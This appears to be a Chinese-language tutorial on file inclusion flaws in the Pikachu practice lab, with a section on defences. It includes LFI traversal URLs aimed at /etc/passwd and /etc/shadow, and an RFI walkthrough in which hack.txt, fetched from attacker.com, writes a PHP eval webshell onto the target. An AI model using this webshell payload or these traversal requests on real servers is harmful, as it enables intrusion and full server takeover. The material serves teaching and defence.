Pikachu靶场-File Inclusion
字数 1039 2025-08-24 20:49:22

文件包含漏洞(File Inclusion)详解

1. 文件包含漏洞概述

文件包含是一种常见的开发功能,各种编程语言都提供了内置的文件包含函数,允许开发人员在一个代码文件中直接包含(引入)另一个代码文件。

在PHP中,主要提供以下文件包含函数:

  • include(), include_once()
  • require(), require_once()

漏洞产生条件

当文件包含函数中包含的代码文件路径由用户可控变量指定,且未做足够的安全过滤时,就可能产生文件包含漏洞。攻击者可以指定"意想不到"的文件让包含函数执行,从而实施恶意操作。

文件包含漏洞分类

  1. 本地文件包含(Local File Inclusion, LFI)

    • 仅能包含服务器本地的文件
    • 攻击者通常会尝试包含系统配置文件读取敏感信息
    • 常与文件上传漏洞结合使用
  2. 远程文件包含(Remote File Inclusion, RFI)

    • 能够通过URL地址包含远程文件
    • 攻击者可以传入任意恶意代码
    • 危害性极大

2. 本地文件包含(LFI)利用

基本利用方式

  1. 直接包含本地文件:

    http://target.com/vul/fileinclude/fi_local.php?filename=file1.php
    
  2. 目录遍历包含:

    http://target.com/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/phpinfo.php
    

典型利用场景

  1. 读取系统敏感文件:

    • /etc/passwd
    • /etc/shadow
    • 网站配置文件等
  2. 结合文件上传漏洞:

    • 先上传一个包含恶意代码的文件
    • 再通过LFI包含该文件执行代码

3. 远程文件包含(RFI)利用

利用前提条件

  1. PHP配置中必须开启:

    • allow_url_include = On
    • allow_url_fopen = On
  2. 所包含的远程文件后缀不能与目标服务器语言相同(如PHP服务器不能包含.php文件)

典型利用方式

  1. 准备恶意文本文件(hack.txt):

    <?php
        $myfile = fopen("hack.php", "w");
        $txt = '<?php @eval($_POST["hack"]);?>';
        fwrite($myfile, $txt);
        fclose($myfile);
    ?>
    
  2. 远程包含该文件:

    http://target.com/vul/fileinclude/fi_remote.php?filename=http://attacker.com/hack.txt
    
  3. 执行后会在目标服务器生成webshell文件(hack.php)

  4. 使用webshell控制服务器:

    http://target.com/vul/fileinclude/hack.php?hack=执行的命令
    

4. 防御措施

  1. 避免用户控制文件路径

    • 尽量使用固定文件路径
    • 如需动态包含,使用白名单限制
  2. 严格过滤输入

    • 检查用户输入是否包含../等路径遍历字符
    • 限制文件扩展名
  3. PHP配置安全

    • 关闭allow_url_includeallow_url_fopen
    • 设置open_basedir限制文件访问范围
  4. 其他措施

    • 确保上传目录不可执行
    • 定期更新和修补系统

5. 总结

文件包含漏洞危害严重,特别是RFI可以直接导致服务器被完全控制。开发时应严格遵循最小权限原则,对用户输入进行充分验证和过滤,同时保持服务器配置的安全设置。

文件包含漏洞(File Inclusion)详解 1. 文件包含漏洞概述 文件包含是一种常见的开发功能,各种编程语言都提供了内置的文件包含函数,允许开发人员在一个代码文件中直接包含(引入)另一个代码文件。 在PHP中,主要提供以下文件包含函数: include() , include_once() require() , require_once() 漏洞产生条件 当文件包含函数中包含的代码文件路径由用户可控变量指定,且未做足够的安全过滤时,就可能产生文件包含漏洞。攻击者可以指定"意想不到"的文件让包含函数执行,从而实施恶意操作。 文件包含漏洞分类 本地文件包含(Local File Inclusion, LFI) 仅能包含服务器本地的文件 攻击者通常会尝试包含系统配置文件读取敏感信息 常与文件上传漏洞结合使用 远程文件包含(Remote File Inclusion, RFI) 能够通过URL地址包含远程文件 攻击者可以传入任意恶意代码 危害性极大 2. 本地文件包含(LFI)利用 基本利用方式 直接包含本地文件: 目录遍历包含: 典型利用场景 读取系统敏感文件: /etc/passwd /etc/shadow 网站配置文件等 结合文件上传漏洞: 先上传一个包含恶意代码的文件 再通过LFI包含该文件执行代码 3. 远程文件包含(RFI)利用 利用前提条件 PHP配置中必须开启: allow_url_include = On allow_url_fopen = On 所包含的远程文件后缀不能与目标服务器语言相同(如PHP服务器不能包含.php文件) 典型利用方式 准备恶意文本文件(hack.txt): 远程包含该文件: 执行后会在目标服务器生成webshell文件(hack.php) 使用webshell控制服务器: 4. 防御措施 避免用户控制文件路径 尽量使用固定文件路径 如需动态包含,使用白名单限制 严格过滤输入 检查用户输入是否包含 ../ 等路径遍历字符 限制文件扩展名 PHP配置安全 关闭 allow_url_include 和 allow_url_fopen 设置 open_basedir 限制文件访问范围 其他措施 确保上传目录不可执行 定期更新和修补系统 5. 总结 文件包含漏洞危害严重,特别是RFI可以直接导致服务器被完全控制。开发时应严格遵循最小权限原则,对用户输入进行充分验证和过滤,同时保持服务器配置的安全设置。